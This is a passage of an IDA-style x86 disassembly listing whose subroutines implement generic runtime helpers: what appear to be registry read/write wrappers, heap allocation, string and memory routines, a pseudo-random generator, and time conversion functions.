		push	dword ptr [edi+4]
		mov	[ebp+var_8], 1
		call	esi
		test	eax, eax
		jz	short loc_40CB6C
		xor	al, al
		jmp	short loc_40CB92
; ---------------------------------------------------------------------------


loc_40CB6C:				; CODE XREF: sub_40CB36+30j
		push	[ebp+var_4]
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+arg_0]
		push	dword ptr [edi+4]
		call	esi
		neg	eax
		sbb	eax, eax
		inc	eax


loc_40CB92:				; CODE XREF: sub_40CB36+34j
		pop	edi
		pop	esi
		leave
		retn	8
sub_40CB36	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB98	proc near		; DATA XREF: .rdata:0041C21Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_40CD83
		pop	ecx
		inc	eax
		push	eax
		push	[esp+8+arg_4]
		push	1
		push	0
		push	[esp+14h+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_418014
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	esi
		retn	8
sub_40CB98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBC5	proc near		; DATA XREF: .rdata:0041C220o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, ds:dword_418000
		push	edi
		push	ebx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	[ebp+arg_0]
		mov	edi, ecx
		push	dword ptr [edi+4]
		mov	[ebp+var_4], 3
		call	esi
		test	eax, eax
		jz	short loc_40CBF7
		xor	al, al
		jmp	short loc_40CC19
; ---------------------------------------------------------------------------


loc_40CBF7:				; CODE XREF: sub_40CBC5+2Cj
		push	dword ptr [ebx]
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	eax
		mov	[ecx], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	[ebp+arg_0]
		push	dword ptr [edi+4]
		call	esi
		neg	eax
		sbb	eax, eax
		inc	eax


loc_40CC19:				; CODE XREF: sub_40CBC5+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_40CBC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC20	proc near		; DATA XREF: .rdata:0041C224o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	3
		push	0
		push	[esp+10h+arg_0]
		push	dword ptr [ecx+4]
		call	ds:dword_418014
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
sub_40CC20	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC41	proc near		; CODE XREF: sub_402FCB+45p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		mov	dword ptr [eax], offset	off_41C204
		retn
sub_40CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC4E	proc near		; CODE XREF: sub_40CC70+6p

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C204
		call	sub_40CACF
		test	[esp+4+arg_0], 1
		jz	short loc_40CC6A
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40CC6A:				; CODE XREF: sub_40CC4E+13j
		mov	eax, esi
		pop	esi
		retn	4
sub_40CC4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC70	proc near		; DATA XREF: .rdata:0041C20Co
		test	ecx, ecx
		jz	short locret_40CC7B
		push	1
		call	sub_40CC4E

locret_40CC7B:				; CODE XREF: sub_40CC70+2j
		retn
sub_40CC70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC7C	proc near		; DATA XREF: .rdata:off_418220o
					; .rdata:off_41BDCCo ...
		xor	eax, eax
		retn
sub_40CC7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC7F	proc near		; CODE XREF: sub_41302F+Ap
					; sub_41344D+1DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_41809C
		push	[esp+arg_0]
		push	0
		push	eax
		call	ds:dword_418050
		retn
sub_40CC7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC93	proc near		; CODE XREF: sub_40D0BB+6p
					; sub_41430E+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	ds:dword_41809C
		mov	ecx, [esp+arg_0]
		imul	ecx, [esp+arg_4]
		push	ecx
		push	8
		push	eax
		call	ds:dword_418050
		retn
sub_40CC93	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCAD	proc near		; CODE XREF: sub_41344D+16Cp
					; sub_41493D+65p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	ds:dword_41809C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	0
		push	eax
		call	ds:dword_418048
		retn
sub_40CCAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCC5	proc near		; CODE XREF: sub_401420+A3p
					; sub_401420+ABp ...

arg_0		= dword	ptr  4

		call	ds:dword_41809C
		push	[esp+arg_0]
		push	0
		push	eax
		call	ds:dword_418044
		retn
sub_40CCC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCD9	proc near		; CODE XREF: sub_401C2F+18p
					; sub_401CDC+18p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_40CCF2


loc_40CCE2:				; CODE XREF: sub_40CCD9+17j
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+arg_4]
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		mov	[ecx], al
		jnz	short loc_40CCE2


loc_40CCF2:				; CODE XREF: sub_40CCD9+7j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40CCD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCF7	proc near		; CODE XREF: sub_402B31+1Ap
					; sub_402B61+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_40CD13
		mov	eax, [ebp+arg_4]


loc_40CD03:				; CODE XREF: sub_40CCF7+1Aj
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		inc	eax
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		mov	[edx], cl
		jnz	short loc_40CD03


loc_40CD13:				; CODE XREF: sub_40CCF7+7j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40CCF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD18	proc near		; CODE XREF: sub_409CF6+2Fp
					; sub_409EAD+Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_40CD25
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40CD25:				; CODE XREF: sub_40CD18+7j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]


loc_40CD2B:				; CODE XREF: sub_40CD18+20j
		dec	[ebp+arg_8]
		jz	short loc_40CD3A
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_40CD3A
		inc	eax
		inc	ecx
		jmp	short loc_40CD2B
; ---------------------------------------------------------------------------


loc_40CD3A:				; CODE XREF: sub_40CD18+16j
					; sub_40CD18+1Cj
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]
		sub	eax, ecx
		pop	ebp
		retn
sub_40CD18	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD44	proc near		; CODE XREF: sub_401ABD+6p
					; sub_402624+426p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	ds:dword_418088
		retn
sub_40CD44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD53	proc near		; CODE XREF: sub_413720+A1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_40CD60
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40CD60:				; CODE XREF: sub_40CD53+7j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]


loc_40CD66:				; CODE XREF: sub_40CD53+24j
		dec	[ebp+arg_8]
		jz	short loc_40CD79
		mov	al, [ecx]
		test	al, al
		jz	short loc_40CD79
		cmp	al, [edx]
		jnz	short loc_40CD79
		inc	ecx
		inc	edx
		jmp	short loc_40CD66
; ---------------------------------------------------------------------------


loc_40CD79:				; CODE XREF: sub_40CD53+16j
					; sub_40CD53+1Cj ...
		movzx	eax, byte ptr [ecx]
		movzx	ecx, byte ptr [edx]
		sub	eax, ecx
		pop	ebp
		retn
sub_40CD53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD83	proc near		; CODE XREF: sub_401918+76p
					; sub_401918+90p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_41811C
		retn
sub_40CD83	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD8E	proc near		; CODE XREF: sub_401918+89p
					; sub_401918+A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	ds:dword_4180B4
		retn
sub_40CD8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD9D	proc near		; CODE XREF: sub_407DE3+DFp
					; sub_407DE3+F1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jz	short loc_40CDD1
		mov	edx, [esp+8+arg_4]


loc_40CDB1:				; CODE XREF: sub_40CD9D+1Fj
		mov	al, [edx]
		mov	[ecx], al
		inc	ecx
		inc	edx
		test	al, al
		jz	short loc_40CDBE
		dec	esi
		jnz	short loc_40CDB1


loc_40CDBE:				; CODE XREF: sub_40CD9D+1Cj
		test	esi, esi
		jz	short loc_40CDD1
		dec	esi
		jz	short loc_40CDD1
		push	esi
		push	0
		push	ecx
		call	sub_40CCD9
		add	esp, 0Ch


loc_40CDD1:				; CODE XREF: sub_40CD9D+Ej
					; sub_40CD9D+23j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40CD9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDD6	proc near		; CODE XREF: sub_4080EA+61p
					; sub_4080EA+7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	ds:dword_418080
		retn
sub_40CDD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDE5	proc near		; CODE XREF: sub_40DBA2+47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, edx


loc_40CDED:				; CODE XREF: sub_40CDE5+Dj
		mov	cl, [edx]
		inc	edx
		test	cl, cl
		jnz	short loc_40CDED
		dec	edx
		cmp	[ebp+arg_8], 0
		push	esi
		jz	short loc_40CE12
		mov	esi, [ebp+arg_4]


loc_40CDFF:				; CODE XREF: sub_40CDE5+2Bj
		mov	cl, [esi]
		dec	[ebp+arg_8]
		mov	[edx], cl
		inc	edx
		inc	esi
		test	cl, cl
		jz	short loc_40CE15
		cmp	[ebp+arg_8], 0
		jnz	short loc_40CDFF


loc_40CE12:				; CODE XREF: sub_40CDE5+15j
		mov	byte ptr [edx],	0


loc_40CE15:				; CODE XREF: sub_40CDE5+25j
		pop	esi
		pop	ebp
		retn
sub_40CDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE18	proc near		; CODE XREF: sub_403539+8Fp
					; sub_4074FB+7CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		lea	eax, [esp+arg_8]
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_418158
		retn
sub_40CE18	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE2C	proc near		; CODE XREF: sub_4074FB+83Ap
					; sub_4155DF+83p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 0FFFFFFD0h
		push	9
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		inc	eax
		retn
sub_40CE2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE3C	proc near		; CODE XREF: sub_407288+3Bp
					; sub_407288+53p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 41h
		jl	short loc_40CE4A
		cmp	eax, 5Ah
		jle	short loc_40CE52


loc_40CE4A:				; CODE XREF: sub_40CE3C+7j
		add	eax, 0FFFFFF9Fh
		cmp	eax, 19h
		ja	short loc_40CE56


loc_40CE52:				; CODE XREF: sub_40CE3C+Cj
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40CE56:				; CODE XREF: sub_40CE3C+14j
		xor	eax, eax
		retn
sub_40CE3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE59	proc near		; CODE XREF: sub_4013D5+38p
					; sub_401420+94p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		push	esi


loc_40CE60:				; CODE XREF: sub_40CE59+1Aj
		movsx	ecx, byte ptr [edx]
		lea	esi, [ecx-30h]
		cmp	esi, 9
		ja	short loc_40CE75
		imul	eax, 0Ah
		lea	eax, [eax+ecx-30h]
		inc	edx
		jmp	short loc_40CE60
; ---------------------------------------------------------------------------


loc_40CE75:				; CODE XREF: sub_40CE59+10j
		pop	esi
		retn
sub_40CE59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE77	proc near		; CODE XREF: sub_405675+14Ap
					; sub_406BE5+D0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		mov	[ebp+arg_0], eax
		jz	short loc_40CEC5
		mov	dl, [eax]
		test	dl, dl
		push	edi
		jz	short loc_40CEC2
		sub	eax, esi


loc_40CE92:				; CODE XREF: sub_40CE77+49j
		test	dl, dl
		mov	ecx, esi
		jz	short loc_40CEB0


loc_40CE98:				; CODE XREF: sub_40CE77+37j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_40CEC8
		movsx	edi, byte ptr [eax+ecx]
		movsx	edx, dl
		sub	edi, edx
		jnz	short loc_40CEB0
		inc	ecx
		cmp	byte ptr [eax+ecx], 0
		jnz	short loc_40CE98


loc_40CEB0:				; CODE XREF: sub_40CE77+1Fj
					; sub_40CE77+30j
		cmp	byte ptr [ecx],	0
		jz	short loc_40CEC8
		inc	[ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		inc	eax
		test	dl, dl
		jnz	short loc_40CE92


loc_40CEC2:				; CODE XREF: sub_40CE77+17j
		xor	eax, eax


loc_40CEC4:				; CODE XREF: sub_40CE77+54j
		pop	edi


loc_40CEC5:				; CODE XREF: sub_40CE77+10j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40CEC8:				; CODE XREF: sub_40CE77+25j
					; sub_40CE77+3Cj
		mov	eax, [ebp+arg_0]
		jmp	short loc_40CEC4
sub_40CE77	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CECD	proc near		; CODE XREF: sub_4038BB+49p
					; sub_4074FB+136p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax],	0
		jz	short loc_40CEE3


loc_40CED6:				; CODE XREF: sub_40CECD+14j
		inc	eax
		mov	cl, [eax]
		cmp	cl, [esp+arg_4]
		jz	short locret_40CEE5
		test	cl, cl
		jnz	short loc_40CED6


loc_40CEE3:				; CODE XREF: sub_40CECD+7j
		xor	eax, eax

locret_40CEE5:				; CODE XREF: sub_40CECD+10j
		retn
sub_40CECD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEE6	proc near		; CODE XREF: sub_4038BB+1Dp
					; sub_4086E0+6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	ds:dword_41811C
		test	eax, eax
		jnz	short loc_40CF03


loc_40CEF6:				; CODE XREF: sub_40CEE6+20j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40CEFA:				; CODE XREF: sub_40CEE6+1Ej
		mov	cl, [eax+esi]
		cmp	cl, [esp+4+arg_4]
		jz	short loc_40CF08


loc_40CF03:				; CODE XREF: sub_40CEE6+Ej
		dec	eax
		jns	short loc_40CEFA
		jmp	short loc_40CEF6
; ---------------------------------------------------------------------------


loc_40CF08:				; CODE XREF: sub_40CEE6+1Bj
		add	eax, esi
		pop	esi
		retn
sub_40CEE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF0C	proc near		; CODE XREF: sub_409170+115p
					; sub_409170+125p ...

arg_0		= byte ptr  4

		lea	eax, [esp+arg_0]
		push	eax
		call	ds:dword_418150
		movsx	eax, byte ptr [eax]
		retn
sub_40CF0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF1B	proc near		; CODE XREF: sub_40C69B+24p

arg_0		= byte ptr  4

		lea	eax, [esp+arg_0]
		push	eax
		call	ds:dword_418154
		movsx	eax, byte ptr [eax]
		retn
sub_40CF1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF2A	proc near		; CODE XREF: sub_402624+106p
					; sub_402EBB+3Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_421D10, eax
		retn
sub_40CF2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF34	proc near		; CODE XREF: sub_402624+116p
					; sub_402624+124p ...
		mov	eax, dword_421D10
		imul	eax, 19660Dh
		add	eax, 3C6EF35Fh
		xor	edx, edx
		mov	ecx, 7FFFh
		div	ecx
		mov	eax, edx
		mov	dword_421D10, eax
		retn
sub_40CF34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40CF55(double)

sub_40CF55	proc near		; CODE XREF: sub_40746D+1Dp
					; sub_40746D+54p

arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		fldz
		fld	st
		fld	[ebp+arg_0]
		fucom	st(1)
		fnstsw	ax
		fstp	st(1)
		test	ah, 44h
		jnp	short loc_40CF97
		fld	st
		fistp	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0]
		mov	dword ptr [ebp+arg_0+4], ecx
		fild	dword ptr [ebp+arg_0+4]
		fld	st(1)
		fdivrp	st(1), st
		fucomp	st(2)
		fnstsw	ax
		test	ah, 44h
		jnp	short loc_40CF97
		fcompp	st(1), st
		fnstsw	ax
		test	ah, 5
		jp	short loc_40CF8F
		dec	ecx


loc_40CF8F:				; CODE XREF: sub_40CF55+37j
		mov	dword ptr [ebp+arg_0+4], ecx
		fild	dword ptr [ebp+arg_0+4]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40CF97:				; CODE XREF: sub_40CF55+13j
					; sub_40CF55+2Ej
		fstp	st(1)
		pop	ebp
		retn
sub_40CF55	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40CF9B(double)

sub_40CF9B	proc near		; CODE XREF: sub_40746D+Fp

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fldlg2
		fld	[esp+8+arg_0]
		fyl2x
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_40CF9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFAE	proc near		; CODE XREF: sub_402624+100p
					; sub_402EBB+34p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_418040
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_401050
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_40CFE5
		mov	[ecx], eax

locret_40CFE5:				; CODE XREF: sub_40CFAE+33j
		leave
		retn
sub_40CFAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFE7	proc near		; CODE XREF: sub_40D0C9+37p
					; sub_40D0C9+C4p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	eax, esi
		cdq
		push	0
		add	eax, 0B6109100h
		push	989680h
		adc	edx, 2
		push	edx
		push	eax
		call	sub_401170
		mov	[ebp+var_8], eax
		mov	eax, edx
		sar	eax, 1Fh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	[ebp+var_4], edx
		call	ds:dword_41803C
		movzx	eax, [ebp+var_C]
		mov	dword_421D18, eax
		movzx	eax, [ebp+var_E]
		mov	dword_421D1C, eax
		movzx	eax, [ebp+var_10]
		mov	dword_421D20, eax
		movzx	eax, [ebp+var_12]
		mov	dword_421D24, eax
		movzx	eax, [ebp+var_16]
		dec	eax
		mov	dword_421D28, eax
		movzx	eax, [ebp+var_18]
		sub	eax, 76Ch
		mov	dword_421D2C, eax
		movzx	eax, [ebp+var_14]
		mov	dword_421D30, eax
		mov	eax, esi
		cdq
		mov	ecx, 0F879E080h
		idiv	ecx
		and	dword_421D38, 0
		imul	eax, 7861F80h
		add	esi, eax
		mov	eax, 1E13380h
		cmp	esi, eax
		jl	short loc_40D09F
		sub	esi, eax
		cmp	esi, eax
		jl	short loc_40D09F
		sub	esi, eax
		mov	eax, 1E28500h
		cmp	esi, eax
		jl	short loc_40D09F
		sub	esi, eax


loc_40D09F:				; CODE XREF: sub_40CFE7+A3j
					; sub_40CFE7+A9j ...
		mov	eax, esi
		cdq
		mov	ecx, 15180h
		idiv	ecx
		pop	esi
		mov	dword_421D34, eax
		mov	eax, offset dword_421D18
		leave
		retn
sub_40CFE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D0B6	proc near		; CODE XREF: sub_401D97+12p
					; sub_401DB5+14p ...
		jmp	sub_40CCC5
sub_40D0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0BB	proc near		; CODE XREF: sub_401269+3p
					; sub_4012B3+1Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		call	sub_40CC93
		pop	ecx
		pop	ecx
		retn
sub_40D0BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40D0C9	proc near		; CODE XREF: sub_405D38+2Fp

var_B0		= dword	ptr -0B0h
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_5C		= dword	ptr -5Ch
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B0h
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	ds:dword_418038
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D0EA
		xor	eax, eax
		jmp	loc_40D1A1
; ---------------------------------------------------------------------------


loc_40D0EA:				; CODE XREF: sub_40D0C9+18j
		mov	eax, [ebp+74h+var_B0]
		mov	ecx, [ebp+74h+arg_0]
		imul	eax, 3Ch
		push	esi
		push	edi
		mov	edi, [ecx]
		sub	edi, eax
		lea	eax, [ebp+74h+var_4]
		push	eax
		mov	[ebp+74h+var_4], edi
		call	sub_40CFE7
		mov	esi, eax
		xor	eax, eax
		cmp	[ebp+74h+var_16], ax
		pop	ecx
		jz	loc_40D19D
		cmp	[ebp+74h+var_8], eax
		jz	loc_40D19D
		mov	ecx, [esi+10h]
		mov	edx, [esi+0Ch]
		inc	ecx
		cmp	edx, eax
		push	ebx
		jle	short loc_40D134
		lea	eax, [edx-1]
		push	7
		xor	edx, edx
		pop	ebx
		div	ebx
		inc	eax


loc_40D134:				; CODE XREF: sub_40D0C9+5Ej
		movzx	edx, [ebp+74h+var_16]
		cmp	ecx, edx
		jl	short loc_40D19C
		jnz	short loc_40D15A
		movzx	edi, [ebp+74h+var_12]
		movzx	ebx, [ebp+74h+var_14]
		imul	edi, 7
		mov	edx, eax
		imul	edx, 7
		add	edx, [esi+18h]
		add	edi, ebx
		cmp	edx, edi
		jl	short loc_40D19C
		mov	edi, [ebp+74h+var_4]


loc_40D15A:				; CODE XREF: sub_40D0C9+73j
		movzx	edx, [ebp+74h+var_6A]
		cmp	ecx, edx
		jg	short loc_40D19C
		jnz	short loc_40D17B
		movzx	ecx, [ebp+74h+var_66]
		imul	eax, 7
		movzx	edx, [ebp+74h+var_68]
		imul	ecx, 7
		add	eax, [esi+18h]
		add	ecx, edx
		cmp	eax, ecx
		jg	short loc_40D19C


loc_40D17B:				; CODE XREF: sub_40D0C9+99j
		mov	eax, [ebp+74h+var_5C]
		sub	eax, [ebp+74h+var_8]
		imul	eax, 3Ch
		add	edi, eax
		lea	eax, [ebp+74h+var_4]
		push	eax
		mov	[ebp+74h+var_4], edi
		call	sub_40CFE7
		mov	esi, eax
		pop	ecx
		mov	dword ptr [esi+20h], 1


loc_40D19C:				; CODE XREF: sub_40D0C9+71j
					; sub_40D0C9+8Cj ...
		pop	ebx


loc_40D19D:				; CODE XREF: sub_40D0C9+45j
					; sub_40D0C9+4Ej
		pop	edi
		mov	eax, esi
		pop	esi


loc_40D1A1:				; CODE XREF: sub_40D0C9+1Cj
		add	ebp, 74h
		leave
		retn
sub_40D0C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1A6	proc near		; CODE XREF: sub_407119+99p
					; sub_4074FB+4Dp ...

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [eax]
		push	edi
		mov	eax, esi
		cdq
		push	0
		add	eax, 0B6109100h
		push	989680h
		adc	edx, 2
		push	edx
		push	eax
		call	sub_401170
		mov	[ebp+var_8], eax
		mov	eax, edx
		sar	eax, 1Fh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	[ebp+var_4], edx
		call	ds:dword_41803C
		mov	ecx, [ebp+arg_4]
		movzx	eax, [ebp+var_C]
		mov	[ecx], eax
		movzx	eax, [ebp+var_E]
		mov	[ecx+4], eax
		movzx	eax, [ebp+var_10]
		mov	[ecx+8], eax
		movzx	eax, [ebp+var_12]
		mov	[ecx+0Ch], eax
		movzx	eax, [ebp+var_16]
		dec	eax
		mov	[ecx+10h], eax
		movzx	eax, [ebp+var_18]
		sub	eax, 76Ch
		mov	[ecx+14h], eax
		movzx	eax, [ebp+var_14]
		mov	[ecx+18h], eax
		mov	eax, esi
		cdq
		mov	edi, 0F879E080h
		idiv	edi
		and	dword ptr [ecx+20h], 0
		imul	eax, 7861F80h
		add	esi, eax
		mov	eax, 1E13380h
		cmp	esi, eax
		jl	short loc_40D250
		sub	esi, eax
		cmp	esi, eax
		jl	short loc_40D250
		sub	esi, eax
		mov	eax, 1E28500h
		cmp	esi, eax
		jl	short loc_40D250
		sub	esi, eax


loc_40D250:				; CODE XREF: sub_40D1A6+95j
					; sub_40D1A6+9Bj ...
		mov	eax, esi
		cdq
		mov	esi, 15180h
		idiv	esi
		pop	edi
		pop	esi
		mov	[ecx+1Ch], eax
		leave
		retn
sub_40D1A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_40D261	proc near		; CODE XREF: sub_407119+A5p

var_B0		= dword	ptr -0B0h
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_5C		= dword	ptr -5Ch
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
